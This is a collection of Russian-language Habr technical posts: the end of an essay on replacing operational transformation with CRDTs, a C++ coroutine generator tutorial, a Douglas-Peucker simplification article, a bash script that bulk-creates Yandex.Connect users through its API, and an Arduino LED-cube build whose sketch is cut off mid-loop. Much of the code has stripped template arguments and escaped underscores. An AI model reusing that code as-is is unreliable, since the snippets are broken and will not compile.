Тем не менее, OT не идеален. Мы хотели заменить электронную почту на Wave, но почта поддерживает объединения, одна цепочка писем может растягиваться на множество компаний, и все это как-то успешно работает. К тому же, в отличие от сообщений в Facebook, электронную почту можно разослать упомянутым в графе «копия» компаниям. Если мы хотим чтобы Wave заменил почту, ему также потребуется функционал передачи сообщений без выхода во внешнюю сеть, например, когда я отсылаю письмо своему коллеге за соседним столом. Но как можно реализовать все это поверх OT? У нас кое-как получилось настроить такой процесс, но он оказался слишком сложным и полным ошибок: мы [создали схему](https://web.archive.org/web/20180112171345/http://www.waveprotocol.org/protocol/draft-protocol-specs/draft-protocol-spec), в которой каждый wave протокол настраивал дерево wave серверов для передачи операций в обе стороны, но она так до конца и не заработала. Чуть менее десяти лет назад на Wave Protocol Summit [я дал презентацию](https://www.youtube.com/watch?v=AyvQYCv6j34) по вопросу создания и настройки подобной сети, но, несмотря на всю мою подготовку и все предварительные проверки, строгое следование каждому шагу на самой презентации провалилась, и сеть так и не заработала. Я до сих пор не знаю, почему это произошло, но что бы это ни были за ошибки, в общедоступной версии их вряд ли когда-либо исправляли, слишком уж все это было сложно.
Взлет CRTD
----------
Как я уже упомянул, основной алгоритм Wave был создан довольно давно, в 1995 году, и я даже не припомню, чтобы у меня в то время дома был интернет. С тех пор исследователи неустанно трудились над улучшением работы OT, и в самом многообещающем направлении они пользуются CRTD (Conflict-Free Replicated data types). Такой подход несколько отличается от обычного и позволяет редактировать файлы в реальном времени без необходимости центрального сервера. В презентации Мартина их работа описана лучше, чем я бы смог о них рассказать, поэтому я опущу детали.
Люди не первый год спрашивают мое мнение по поводу CRTD, и всегда мой ответ звучит в следующем ключе:
> *Они аккуратны и я рад, что люди над ними работают, однако:*
* Они медленные. Очень медленные. Например, на обработку сессии по редактированию академической статьи в 100 килобайт в реальном времени одним пользователем Delta-CRTD тратит почти шесть часов. (Тесты: [внимание на B4](https://github.com/dmonad/crdt-benchmarks/tree/d7f4d774a302f13f26cded6e614d44e0b5e496c9).)
* Из-за особенностей работы CRTD объем документов растет бесконтрольно, например, для отображения документа в 100 килобайт automerge master занимает 83 мегабайта памяти. Эти данные просто лежат на диске, удалить их, похоже, нельзя, и для редактирования их необходимо загружать в память. (Потенциально automerge может вырасти до 1.1 гигабайта памяти.)
* Годами присутствующий в OT функционал отсутствует в CRDT, например никто еще не сделал CRDT с поддержкой /object move/ (перенос чего либо из одной части JSON дерева в другую). Такие процедуры требуются для приложений типа Workflowy, и [OT с ними отлично справляется](https://github.com/ottypes/json1/).
* CRDT сложны сами по себе и рассуждать о них непросто.
* У вас, по всей видимости, уже есть централизованный сервер/база данных.
Со всей своей критикой я игнорировал CRDT, но тем самым игнорировал соответствующую литературу, и к своему удивлению пропустил тихое и незаметное улучшение CRDT. В своей презентации (она более чем стоит вашего внимания) Мартин адресует основные моменты:
* **Скорость:** С использованием современных CRDT (Automerge / RGA или Y.js / YATA) применение операций становится доступным через логарифмический [log(n)] запрос. (Подробнее об этом ниже.)
* **Размер:** Столбчатое кодирование Мартина в состоянии хранить текстовый документ всего лишь в полутора-двукратном превышении размера по сравнению с исходным содержимым, о чем сам Мартин говорит в презентации [на 54-ой минуте](https://www.youtube.com/watch?v=x7drE24geUw&feature=youtu.be&t=3273). В automerge соответствующий код еще не ввели, однако эти идеи уже есть вY.js, благодаря чему Y.js хранит наш 100 килобайтный документ как 160 килобайт на диске или 3 мегабайта в памяти. Прогресс налицо.
* **Функционал:** Есть как минимум теоретические возможности по реализации функционала через перемотку и проигрывание, однако этим еще никто не занялся.
* **Сложность:** Я полагаю, средний CRDT ненамного превысит аналогичную реализацию через OT. Мартин сумел создать крохотную, медленную [версию automerge всего на сотню строк](https://github.com/automerge/automerge/blob/a8d8b602ec273aaa48679e251de8829f3ce5ad41/test/fuzz_test.js).
Аргументация за скорость меня не убедила, поэтому для проверки идеи я самостоятельно реализовал и протестировал [CRDT на Rust](https://github.com/josephg/text-crdt-rust) через B-дерево с использованием идей из automerge. В ней недоставало функционала (удаление символов, конфликты), однако она оказалась в состоянии обрабатывать [6 миллионов правок в секунду](https://home.seph.codes/public/crdt1/user%20pair%20append%20end/report/index.html). (Каждая [итерация](https://github.com/josephg/text-crdt-rust/blob/cc3325019887ad03e89f27e26b4295d1fb2048c9/benches/benchmark.rs#L29-L42) проводила 2000 правок в пустой документ двумя чередующимися пользователями, что в целом занимало по 330 микросекунд, или 6.06 миллиона правок в секунду.) Таким образом, CRDTs действительно улучшились и разница в скорости между ними и OT теперь даже меньше чем между Rust и Javascript.
Все эти правки уже долгое время лежат в разделе «в скором будущем» в ветке производительности automerge, но в конце концов automerge не единственный CRDT. [Y.js](https://github.com/yjs/yjs) показывает себя достойно и [в своих тестах](https://github.com/dmonad/crdt-benchmarks) с легкостью обходит текущую версию automerge. Ему недостает интересующего меня функционала, но в целом конечно проще поправить существующую реализацию, чем создавать новый алгоритм.
Изобретая будущее
-----------------
Меня очень беспокоит достижение прогресса. Что было бы странным не иметь в ходу через сотню лет? Очевидно, у нас будет редактирование в реальном времени, но я уже не уверен в его реализации через OT и всю проделанною мною в этом отношении работу, что не может меня не печалить.
В наши дни JSON и REST используются повсеместно. Допустим, через 15 лет так же повсеместно будет использоваться совместное редактирование в реальном времени. Каков будет аналог у JSON в плане совместного редактирования для легкого переноса в свой проект? В этом славном будущем нам потребуется высококачественная реализация CRDT, поскольку для некоторых приложений OT попросту не будет работать, создать через него версию GIt в реальном времени или простую вариацию Google Wave уже не получится. Но если у нас уже есть хорошая реализация CRDT, нужна ли нам еще и реализация OT? Я считаю, что нет, ведь перенести весь функционал из OT в CRDT не составит труда (включая, между прочим, операции урезания), тогда как обратное неверно. Умные люди со мной не согласны, но, по моему мнению, при наличии у нас хорошего, быстрого CRDT для каждого языка, нужда в OT отпадет полностью.
Одно из преимуществ OT заключается в удобной реализации в централизованных системах – как и большинство современных приложений – но так же хорошо в них реализуются и распределенные алгоритмы. (Взгляните на Github например.) На мой взгляд, высококачественный CRDT на wasm окажется быстрее, чем реализация OT на JS. А если вас беспокоят только централизованные системы, помните: ограничения OT привели Google к проблемам скалирования в Google Docs.
Так что, как мне кажется, сейчас самое время переходить на небольшой и быстрый CRDT. Академическая работа по большей части уже проделана, дело осталось за успешными реализациями.
Что дальше
----------
Меня все меньше и меньше волнует мир централизованных приложений. Приложения взаимодействуют с моими данными, на моих устройствах, и пора бы уже этим приложениям реагировать на такие связи соответствующим образом. Я хочу, чтобы мой ноутбук и мой телефон могли передавать друг другу данные по wifi, а не через загрузку моих данных на серверы в другой стране. Особенно если эти серверы [финансируются соревнующимися за мое внимание рекламными гигантами](https://www.thesocialdilemma.com).
С философской точки зрения, когда я редактирую документ в Google Doсks, мой компьютер спрашивает у Google *разрешение* на редактирование файла (поскольку если по какой-то причине сервер говорит «нет», я теряю все мои правки). Для сравнения, при `git push` в github я всего лишь *оповещаю* github о правках в моем коде. Мой репозиторий все еще принадлежит мне, как и каждый бит данных и железо на котором они находятся, и именно так должны работать мои приложения. Благодаря таким людям как Мартин мы теперь знаем, *как* сделать хорошие CRDT. Однако до принятия [local-first приложений](https://www.inkandswitch.com/local-first.html) за основу придется написать еще не одну строчку кода.
В общем, пришло время прощаться с операционным преобразованием. Мы прекрасно провели это время вместе, из всего мной написанного [код](https://github.com/josephg/sharejs) [операционного](https://github.com/share/sharedb/) [преобразования](https://github.com/ottypes/json1/) был одним из самых непростых и интересных. Ты умен и удивителен, OT, но CRDT может то, что ты не сможешь никогда. И я нужен CRDT. Я думаю, за несколько хороших реализаций мы сможем достичь чего-то по-настоящему особенного.
Я оплакиваю весь мой вложенный за эти годы в OT труд, но OT более не вписывается в мое видение будущего. CRDT позволит нам проще и быстрее пересоздать Wave и создавать приложения с отношением к пользователям как к цифровым гражданам, а не цифровым крестьянам. [И это важно.](https://josephg.com/blog/home-is-where-the-bits-flow/)
Настало время создавать. | https://habr.com/ru/post/521288/ | null | ru | null |
# Генераторы на корутинах C++
Предисловие или крик души
-------------------------
Данное предисловие имеет опосредованное отношение к теме статьи. Поэтому, если вы пришли чисто за примером - можете его пропустить.
Уже довольно долго я размышляю над вопросом, что и когда с C++ пошло не так. Почему выстрелили GoLang и Python? Обычные доводы, что дескать у C++ сложный синтаксис и легко выстрелить себе в ногу, объясняют это лишь отчасти. Поверьте, если лезть в дебри любого языка, наворотить нечитаемый код или выстрелить в ногу можно из чего угодно. Вот только тот же Go не стимулирует разработчика к таким изысканиям. Большинство прикладных задач решаются через ПРОСТЫЕ и ПОНЯТНЫЕ интерфейсы. Думаю те, кто хоть раз пробовал реализовать свой собственный поток (std::steam) на С++ поймут о чем я говорю. Так почему же нельзя в С++ сделать какой-нибудь stl lite - более высокоуровневый и простой интерфейс для тех, кто не хочет заморачиваться. Я понимаю, что сейчас есть conan и 100500+ библиотек в нем. Но, как среди этого зоопарка выбирать? Где гарантия, что выбранная мной библиотека не умрёт через год, и что в ней будут исправляться ошибки?
Поэтому, время от времени, когда выдается свободная минутка, я пробую реализовывать понравившиеся мне конструкции из других языков на С++. Доказывая себе и окружающим, что проблема не в языке. Например, меня есть собственные channel работающие почти как в GoLang. Но реализация получилась довольно сложная и не без косяков. Но если статья зайдет, доотлаживаю и напишу и про них.
Я уже пару лет как развлекаюсь написанием различных программ на C++ с использованием корутин. Но до сего момента это были асинхронные приложения. Я активно использовал ***co\_await***, но ни разу еще мне не понадобился ***co\_yield***. И вот, после трех дней вынужденного ничегонеделанья в больнице, я решил этот пробел восполнить и попробовать написать собственный генератор. А заодно и получше разобраться с ***promise\_type*** и ***coroutine\_handle***
Намечаем цель
-------------
Вдохновлялся я генераторами Python. В данном случае я не надеялся получить полностью аналогичный синтаксис, да и не видел в этом смысла, но хотел добиться похожей лаконичности. Начал я, как водится, с конца. Хочу чтобы работал примерно следующий код:
```
generator generate(size_t start, size_t end) {
for (auto i = start; i < end; ++i) {
co_yield i;
}
}
int main() {
for (auto value: generate(0, 10)) {
std::cout << value << std::endl;
}
return 0;
}
```
Очевидно, что нам нужен некий объект generator с promise\_type внутри.
> *Наработав некоторую практику использования, я решил, по возможности, отказаться от* ***coroutine\_traits****. Код с ними выглядит конечно волшебно. И, если ваша цель впечатлить кого-то - это ваш путь. Наверное поэтому, такие примеры гуглятся в первую очередь. Но использование подобных неявных структур не способствует улучшению читаемости. При этом я ни в коем слуае не отрицаю, что в некоторых случаях они могут быть оправданы.*
>
>
В первом приближении получился следующий код. Я добавил в него пояснения, зачем нужна та или иная строка, и почему она написана так, а не иначе. Сразу оговорюсь, это не окончательный, а самый первый и простой вариант. О его недостатках будет рассказано ниже
```
class generator {
public:
struct promise_type {
using suspend_never = std::suspend_never;
using suspend_always = std::suspend_always;
using handle = std::coroutine_handle;
size\_t value;
/\* создание экземпляра класса generator
\* да, этим занимается promise!
\*/
auto get\_return\_object() noexcept {
return generator{handle::from\_promise(\*this)};
}
/\* suspend\_never говорит C++ выполнить корутину
\* до первого вызова co\_yield/co\_return сразу в момент её создания
\*/
suspend\_never initial\_suspend() noexcept { return {}; }
/\* suspend\_always указывает С++ придержать разрушение
\* корутины в момент её завершения. Это необходимо, чтобы не
\* потерять возможность обращаться к promise и handle
\* после её завершения. В противном случае вы даже не сможете
\* проверить done() см. ниже
\*/
suspend\_always final\_suspend() noexcept { return {}; }
/\* наши генераторы не будут ничего возвращать
\* через co\_return, только через co\_yield
\*/
void return\_void() noexcept {}
/\* обработка `co\_yield value` внутри генератора \*/
suspend\_always yield\_value(size\_t v) noexcept {
value = v;
return {};
}
/\* на первом этапе мы не обрабатываем исключения внутри генераторов\*/
void unhandled\_exception() { std::terminate(); }
};
/\* Поскольку finial\_suspend придерживает уничтожение корутины
\* нам необходимо уничтожить её вручную
\*/
~generator() noexcept { m\_coro.destroy(); }
/\* iterator и методы begin(), end() необходимы для компиляции цикла
\* for (auto value: generator(0, 10)), описание логики работы range
\* base for выходит за рамки данной статьи
\*/
class iterator {
public:
bool operator != (iterator second) const {
return m\_self != second.m\_self;
}
iterator & operator++() {
/\* воззобновить выполнение корутины - генератора \*/
m\_self->m\_coro.resume();
/\* проверяем, завершилась ли корутина, если бы не final\_suspend
\* возвращающий suspend\_always - нас бы ждал облом
\*/
if (m\_self->m\_coro.done()) {
m\_self = nullptr;
}
return \*this;
}
size\_t operator\*() {
/\* достаем значение напрямую из promise \*/
return m\_self->m\_coro.promise().value;
}
private:
iterator(generator \*self): m\_self{self} {}
generator \*m\_self;
friend class generator;
};
/\* первое значение корутины уже вычитано благодаря
\* inital\_suspend, возвращающим suspend\_never
\*/
iterator begin() { return iterator{m\_coro.done() ? nullptr : this}; }
iterator end() { return iterator{nullptr}; }
private:
promise\_type::handle m\_coro;
/\* конструктор, который будет вызван из get\_return\_object \*/
explicit generator(promise\_type::handle coro) noexcept: m\_coro{coro} {}
};
```
Недостатки
----------
1. У нас получился класс, позволяющий написать любой генератор возвращающий ***size\_t***. Ужас! Но, его несложно переделать в шаблон генератора, возвращающего любой тип, для которого определен конструктор по умолчанию, копирующий конструктор и оператор копирования
2. Генератор сразу же вычитывает одно значение из корутины. Хотя, было бы универсальнее, чтобы значение генерировалось только, когда оно действительно необходимо
3. Наш генератор может быть нечаянно скопирован, что приведет к катастрофическим последствиям
4. Генератор не возвращает исключения возникающие внутри корутины
Всё это не фатально и решается с использование ***std::variant*** и ***std::exception\_ptr***. Я не стал вставлять в статью код, решающий все эти проблемы, его можно посмотреть в моем [github](https://github.com/3galki/generate). Кому лень, просто поверьте наслово, что у меня получился шаблон ***template class generator*** обладающий всеми этими свойствами.
Аппетит приходит во время еды
-----------------------------
Потратив время на написание шаблона генератора, я приятно удивился той легкости, с которой можно реализовывать различные операции над ним. Первое что я попробовал, конечно же фильтр:
```
int main() {
auto is_odd = [](auto v) { return v % 2 == 0; };
for (auto value: generate(0,10) | is\_odd) {
std::cout << value << std::endl;
}
}
```
Реализация выглядит следующим образом. В этом примере я еще воспользовался концептами, но о них я рассказывать тоже не буду.
```
template
auto operator | (Generator &&s, Predicate p) -> std::decay\_t {
for (auto &value: s) {
if (p(value)) {
co\_yield std::move(value);
}
}
}
```
Примерно такая же тривиальная реализация получились для шаблона zip() - реализующего объединение результатов переданных в него генераторов в структуры ***std::pair*** или ***std::tuple*** (когда объединяются значения для трех и более генераторов), сложения однотипных генераторов при помощи перегрузки ***operator +***, и шаблона для преобразования контейнера в генератор (может иметь смысл при использовании совместно с тем же zip). Примеры можно посмотреть на том же [github](https://github.com/3galki/generate).
На этом на сегодня всё. | https://habr.com/ru/post/578366/ | null | ru | null |
# Алгоритм Дугласа-Пекера
#### Предисловие
Не так давно пришлось поработать с упрощением полигональной цепи (*процесс, позволяющий уменьшить число точек полилинии*). В целом, данный тип задач очень распространен при обработке векторной графики и при построении карт. В качестве примера можно взять цепь, несколько точек которой попадают в один и тот же пиксель – очевидно, что все эти точки можно упростить в одну. Некоторое время назад я практически ничего не знал об этом от слова «совсем», в связи с чем, пришлось в быстром темпе восполнять необходимый багаж знаний по этой теме. Но каково было мое удивление, когда в интернете я не нашел достаточно полных руководств по этому вопросу… Мне приходилось отрывками искать информацию с совершенно разных источников и, после проведенного анализа, выстраивать все в общую картину. Занятие не из самых приятных, если честно. Поэтому мне хотелось бы написать цикл статей, посвященных алгоритмам упрощения полигональной цепи. Как раз-таки начать я решил с наиболее популярного алгоритма Дугласа-Пекера.
#### Описание
Алгоритму задается исходная полилиния и максимальное расстояние (ε), которое может быть между исходной и упрощенной полилиниями (то есть, максимальное расстояние от точек исходной к ближайшему участку полученной полилинии). Алгоритм рекурсивно делит полилинию. Входом алгоритма служат координаты всех точек между первой и последней, включая их, а также значение ε. Первая и последняя точка сохраняются неизменными. После чего алгоритм находит точку, наиболее удаленную от отрезка, состоящего из первой и последней ([алгоритм поиска расстояние от точки до отрезка](https://ru.wikipedia.org/wiki/Расстояние_от_точки_до_прямой_на_плоскости)). Если точка находится на расстоянии меньшем, чем ε, то все точки, которые еще не были отмечены к сохранению, могут быть выброшены из набора, и получившаяся прямая сглаживает кривую с точностью не ниже ε. Если же это расстояние больше ε, то алгоритм рекурсивно вызывает себя на наборе от начальной точки до данной и от данной до конечных точек. *Стоит отметить, что алгоритм Дугласа-Пекера в ходе своей работы не сохраняет топологию. Это означает, что в результате мы можем получить линию с самопересечениями.* В качестве наглядного примера возьмем полилинию со следующим набором точек: [ { 1; 5 }, { 2; 3 }, { 5; 1 }, { 6; 4 }, { 9; 6 }, { 11; 4 }, { 13; 3 }, { 14; 2 }, { 18; 5 } ] и посмотрим на процесс упрощения при разных значениях ε:
Исходная полилиния из представленного набора точек:
Полилиния с ε равной 0.5:
Полилиния с ε равной 1:
Полилиния с ε равной 1.5:
Можно и дальше продолжить увеличение максимального расстояния и визуализацию алгоритма, но, думаю, основная суть после этих примеров стала понятной.
#### Реализация
В качестве языка программирования для реализации алгоритма был выбран С++, полный исходный код алгоритма вы можете увидеть [здесь](https://github.com/VladimirBalun/Algorithms/blob/master/ComputationalGeometry/RamerDouglasPeucker.cpp). А теперь непосредственно к самой реализации:
```
#define X_COORDINATE 0
#define Y_COORDINATE 1
template
using point\_t = std::pair;
template
using line\_segment\_t = std::pair, point\_t>;
template
using points\_t = std::vector>;
template
double get\_distance\_between\_point\_and\_line\_segment(const line\_segment\_t& line\_segment, const point\_t& point) noexcept
{
const CoordinateType x = std::get(point);
const CoordinateType y = std::get(point);
const CoordinateType x1 = std::get(line\_segment.first);
const CoordinateType y1 = std::get(line\_segment.first);
const CoordinateType x2 = std::get(line\_segment.second);
const CoordinateType y2 = std::get(line\_segment.second);
const double double\_area = abs((y2-y1)\*x - (x2-x1)\*y + x2\*y1 - y2\*x1);
const double line\_segment\_length = sqrt(pow((x2-x1), 2) + pow((y2-y1), 2));
if (line\_segment\_length != 0.0)
return double\_area / line\_segment\_length;
else
return 0.0;
}
template
void simplify\_points(const points\_t& src\_points, points\_t& dest\_points, double tolerance, std::size\_t begin, std::size\_t end)
{
if (begin + 1 == end)
return;
double max\_distance = -1.0;
std::size\_t max\_index = 0;
for (std::size\_t i = begin + 1; i < end; i++)
{
const point\_t& cur\_point = src\_points.at(i);
const point\_t& start\_point = src\_points.at(begin);
const point\_t& end\_point = src\_points.at(end);
const double distance = get\_distance\_between\_point\_and\_line\_segment({ start\_point, end\_point }, cur\_point);
if (distance > max\_distance)
{
max\_distance = distance;
max\_index = i;
}
}
if (max\_distance > tolerance)
{
simplify\_points(src\_points, dest\_points, tolerance, begin, max\_index);
dest\_points.push\_back(src\_points.at(max\_index));
simplify\_points(src\_points, dest\_points, tolerance, max\_index, end);
}
}
template<
typename CoordinateType,
typename = std::enable\_if::value || std::is\_floating\_point::value>::type>
points\_t duglas\_peucker(const points\_t& src\_points, double tolerance) noexcept
{
if (tolerance <= 0)
return src\_points;
points\_t dest\_points{};
dest\_points.push\_back(src\_points.front());
simplify\_points(src\_points, dest\_points, tolerance, 0, src\_points.size() - 1);
dest\_points.push\_back(src\_points.back());
return dest\_points;
}
```
Ну и собственно само использование алгоритма:
```
int main()
{
points_t source\_points{ { 1, 5 }, { 2, 3 }, { 5, 1 }, { 6, 4 }, { 9, 6 }, { 11, 4 }, { 13, 3 }, { 14, 2 }, { 18, 5 } };
points\_t simplify\_points = duglas\_peucker(source\_points, 1);
return EXIT\_SUCCESS;
}
```
#### Пример выполнения алгоритма
В качестве входных данных возьмем раннее известный нам набор точек [ { 1; 5 }, { 2; 3 }, { 5; 1 }, { 6; 4 }, { 9; 6 }, { 11; 4 }, { 13; 3 }, { 14; 2 }, { 18; 5 } ] и ε равной 1:
* Найдем наиболее удаленную точку от отрезка { 1; 5 } — { 18; 5 }, данной точкой окажется точка { 5; 1 }.
* Проверяем ее расстояние до отрезка { 1; 5 } — { 18; 5 }. Оно оказывается больше 1, значит добавляем ее в результирующую полилинию.
* Запускаем рекурсивно алгоритм для отрезка { 1; 5 } — { 5; 1 } и находим наиболее удаленную точку для этого отрезка. Данная точка — это { 2; 3 }.
* Проверяем ее расстояние до отрезка { 1; 5 } — { 5; 1 }. В данном случае оно меньше 1, значит мы можем спокойно отбросить эту точку.
* Запускаем рекурсивно алгоритм для отрезка { 5; 1 } — { 18; 5 } и находим наиболее удаленную точку для этого отрезка…
* И так далее по такому же плану...
В результате дерево рекурсивных вызовов для этих тестовых данных будет выглядеть следующим образом:
#### Время работы
Ожидаемая сложность алгоритма в лучшем случае составляет О(nlogn), это когда номер наиболее удаленной точки всегда оказывается лексикографически центральным. Однако, в худшем случае сложность алгоритма составляет O(n^2). Это достигается, например, в случае, если номер наиболее удаленной точки всегда соседний к номеру граничной точки.
Надеюсь что моя статья окажется кому то полезной, также хотел бы заострить внимание на том, что если статья проявит достаточный интерес среди читателей, то в скором времени буду готов рассмотреть алгоритмы упрощения полигональной цепи Реуммана-Виткама, Опхейма и Ланга. Спасибо за внимание! | https://habr.com/ru/post/448618/ | null | ru | null |
# Импорт в Я.Коннект из файла списка пользователей через API
**Столкнулся с проблемой «ненахода» актуального скрипта для массового создания сотрудников.**
Проблема связана с переходом Яндекса с PDD (Почта для домена), на Я.Коннект с новой версией API.
Скрипты которые мне попадались, были написаны только для «старой» версии API, и потому считаются ~~нерабочими~~ неактуальными.
Потому, вот актуальный простенький скрип на сегодня, для массового создания «Сотрудников» в организации.
```
#!/bin/bash
# Путь к списку пользователей
employees='./usrlist'
#Пример строки файла usrlist: email_firstname_lastname_middlename
# OAuth_Token
# Ссылка на формирование отладочного токена
# https://tech.yandex.ru/oauth/doc/dg/tasks/get-oauth-token-docpage/
TOKEN="bash!bash!bash!bash!bash!bash!bash!bash!"
# Пароль по умолчанию для всех сотрудников
PASS="superstrongpasswordforyou"
# Перебираем файл со списком пользователей
for i in $( cat $employees ); do
value=($(echo $i | tr "_" " "))
# Формируем поля для заполнения профиля
email="${value[0]}"
firstname="${value[1]}"
lastname="${value[2]}"
middlename="${value[3]}"
# Создаем сотрудника
curl -i -X POST -H 'Content-type: application/json' -d '{"department_id": 1, "password": "'$PASS'", "nickname": "'$email'", "name": {"first": "'$firstname'", "last": "'$lastname'", "middle": "'$middlename'"}}' -H "Authorization: OAuth $TOKEN" 'https://api.directory.yandex.net/v6/users/' | grep HTTP
done
```
Если, у вас несколько отделов в организации, то в строке:
```
curl -i -X POST -H 'Content-type: application/json' -d '{"department_id": 1, "password": "'$PASS'", "nickname": "'$email'", "name": {"first": "'$firstname'", "last": "'$lastname'", "middle": "'$middlename'"}}' -H "Authorization: OAuth $TOKEN" 'https://api.directory.yandex.net/v6/users/'
```
Есть параметр: `"department_id": 1`, нас интересует число, «1», это отдел по умолчанию «Все сотрудники». При создании нового отдела (независимо от названия), он будет «2», соответственно и с последующими.
**Теперь о том, как получить отладочный OAuth-Token**
Для работы ~~приложений~~ скрипта, с сервисами Яндекса, который использует протокол авторизаций OAuth 2.0, существует отладочный токен, этим мы и воспользуемся. После использования, отладочный токен можно отозвать, а приложение удалить.
Идем нас страницу [Яндекса OAuth](https://oauth.yandex.ru/) для создания нового приложения (Кстати нужны права администратора!).
Права приложения я выбрал следующие:
**Скриншот**
Далее необходимо выбрать платформу и нажать «Подставить URL для разработки»:
**Скриншот**
После всех ~~мучений~~ можно вернуться в [Яндекс OAuth](https://oauth.yandex.ru/), и увидеть наше приложение, заходим в него и нас интересует строка «ID», берем число-буквенное значение, копируем его в эту строку:
```
https://oauth.yandex.ru/authorize?response_type=token&client_id=<идентификатор приложения>
```
Затем, на открывшейся странице нажимаем кнопку Подтвердить, чтобы разрешить доступ.
~~вуаля~~, это и есть ваш OAuth\_Token.
Напоследок: если вас интересуют дополнительные атрибуты пользователя такие как (дата рождения, его пол, аллиасы, телефоны), то смело читайте [Документацию](https://tech.yandex.ru/connect/directory/api/concepts/users/add-user-docpage/), там вполне доступная информация, для базового использования данного api.
~~:wq~~ | https://habr.com/ru/post/448036/ | null | ru | null |
# Led Romb
Дело было вечером, делать было нечего. (с)
Дело было года 3 назад. Случайно наткнулся на одно видео [LED cube 8x8x8 demo](http://www.youtube.com/watch?v=6mXM-oGggrM) и скажу честно, оно меня впечатлило. У меня на тот момент уже давно чесались руки что-нибудь сотворить «этакое». Тогда я ещё не знал что такое Arduino, да и вообще имел смутные понятия даже как правильно подключить светодиод. Набравшись храбрости, я отправился на просторы Интернета, где достаточно быстро нашёл идеи и схемы как собирают подобные кубики, и магазин, где можно купить компоненты. Выбрал кубик 4х4х4 как оптимальный вариант для первого опыта.
**Немного теории и ход размышлений:**
Как зажечь светодиод?
Подать напряжение и подключить землю. Питание 5В — нужен резистор.
Как зажечь 16 диодов с возможностью зажигать по отдельности?
Нужно 16 ключей для подачи напряжения.
Как зажигать любой диод из матрицы 4х4х4?
Раскладываем матрицу на «этажи» 4 на 4. Получаем 16 ключей на напряжение по «столбам» + 4 для открытия земли на «этаже».
Итого необходимо 20 управляемых выходов некого микроконтроллера.
Паять обвязку и программировать с нуля микроконтроллер без опыта я не решился и выбрал Arduino, точнее аналог Freeduino.
Freeduino Nano v5
Микроконтроллер: ATmega328
Цифровые порты ввода/вывода: 14 портов (из них 6 с ШИМ-сигналом)
Аналоговые порты ввода: 8 портов
22 программируемых входов/выходов с напряжением +5В при логической единице — то что надо.
**Материалы:**
Светодиоды 64шт.
Резисторы 20 шт.
Транзисторы биполярные 4 шт.
МК: Freeduino Nano v5
Проводки, выключатель, разъёмы, макетки и прочее.
Светодиоды и Freeduino были куплены в ближайшем магазине остальное выпаяно из ближайшего блока питания или найдено где-нибудь ещё.
**Итак, приступаем:**
Размечаем что-либо на квадраты со сторонами 5мм на 5мм — это длина короткой из ножек светодиода.
Загибаем катод на 90 градусов — их будем спаивать в цепочку, получая «этажи» и красиво выставляем на полученную ранее матрицу-шаблон.
Далее загибаем анод (длинная нога) под небольшим углом. Это требуется чтобы удобно было спаивать «этажи»
и спаиваем всё вместе.
Пришло время тестировать.
Т.к. светодиоды были синие, нашёл синий шлейф и распустил его.
Когда это всё заработало на макетке радости не было придела.
Собираем постамент.
Так уж получилось что купил я ровно 64 светодиода и один потерялся. Магазина где можно было купить по дороге у меня нет, а доставку из-за одного диода заказывать совсем уж странно. Выход нашёлся сам собой — поставить кубик на усечённую грань! И оригинально и внешний вид только выигрывает. Коробочка от болванок как раз подошла по размерам. В неё для надёжности и возможности отключения вплавил выключатель который перекрывает землю.
Далее идут фотографии уже обновлённой версии. Первый собранный кубик пал жертвой катаклизма локального масштаба и был безвозвратно утрачен кроме базы. Для сбора обновлённой версии я уже не сгибал ножки, т.к. они очень мягкие и плохо держат форму, я отрезал их почти под корень, а соединения делал из стальной проволоки 0,9 мм из строительного магазина. Возни получилось больше, зато результат намного лучше. Более ровные грани, да и жёсткость конструкции увеличилась. Диоды уже брал у китайцев и собрал полный 4х4х4 кубик.
То, что внутри:
И результат:
Питается от любого источника на 5В. Чаще всего подключен к USB порту. Для программирования необходимо выключать кубик, чтобы не светился. т.к. были использованы выходы 0 и 1, которые также используются для программирования контроллера. При включенной иллюминации и работе программы через выходы протекает ток, что ведёт в 90% случаев к сбоям при заливки нового скетча.
Писать про Arduino IDE ~~и приводить код~~ не стал. Простые циклы — ничего интересного и примеров уже в Интернете очень много.
~~Если появится у кого-нибудь интерес, добавлю код и сниму видео.~~
**Скетч ромбика**
```
/*
Rombik Arduino. Created by Azurius
*/
int i,z,x,c,v,b,a,s,d;
int dt = 100;
int dts = 2;
int nprog =1;
int tmp1=0, tmp2=0, tmp3=0;
int timeb=0, timew=0;
int LEDM[4][4] =
{
4,5,6,7,
8,9,10,11,
16,17,18,19,
15,14,12,13};
int LEDF[4] = {
3,2,0,1};
int ma[12]={
4,5,6,7,11,19,13,12,14,15,16,8};
int mas[4]={
0,3,12,15};
void setup() {
for (i=0;i<4;i++){
for (z=0;z<4;z++){
pinMode(LEDM[i][z], OUTPUT);
}
}
for (i=0;i<4;i++){
pinMode(LEDF[i], OUTPUT);
}
LedOFFAll(); //tushim vse pered nachalom
}
void LedON(int pin){
digitalWrite(pin, HIGH);
}
void LedOFF(int pin){
digitalWrite(pin, LOW);
}
void DotON(int kx, int ky, int kz){
LedON(LEDM[kx][ky]);
LedON(LEDF[kz]);
}
void DotOFF(int kx,int ky, int kz){
LedOFF(LEDM[kx][ky]);
LedOFF(LEDF[kz]);
}
void LedOFFAll(){
for (i=0;i<4;i++){
for (z=0;z<4;z++){
LedOFF(LEDM[i][z]);
}
LedOFF(LEDF[i]);
}
}
void change(){
timew=millis();
if ((timew-timeb)>=10000){nprog++;timeb=millis();dt=70;}
if (nprog==10) nprog=1;
}
void loop() {
change();
//nprog = 0;
//##########[## Prog 0 ##############
// ALL ON
if (nprog==0){
// ON begin
for (c=0;c<4;c++){
LedON(LEDF[c]);
for (i=0;i<4;i++){
for (z=0;z<4;z++){
LedON(LEDM[i][z]);
delay(300);
LedOFF(LEDM[i][z]);
}
}
LedOFF(LEDF[c]);
}
} // end nprog 0
//############ Prog 1 ##############
// zajigaet po ocheredi tochkami
if (nprog==1){
// ON begin
for (c=0;c<4;c++){
for (i=0;i<4;i++){
for (z=0;z<4;z++){
DotON(i,z,c);
delay(dt);
DotOFF(i,z,c);
}
}
}
} // end nprog 1
//############ Prog 2 ##############
// zajigaem stolbiki po ocheredi
if (nprog==2){
// ON begin
for (c=0;c<4;c++){
LedON(LEDF[c]);
}
for (i=0;i<4;i++){
for (z=0;z<4;z++){
LedON(LEDM[i][z]);
delay(dt);
}
}
for (i=0;i<4;i++){
for (z=0;z<4;z++){
delay(dt);
LedOFF(LEDM[i][z]);
}
}
} // end nprog 2
//############ Prog 3 ##############
// zajigaem etaji po ocheredi
if (nprog==3) {
// ON begin
for (i=0;i<4;i++){
for (z=0;z<4;z++){
//LedON(LEDF[c]);
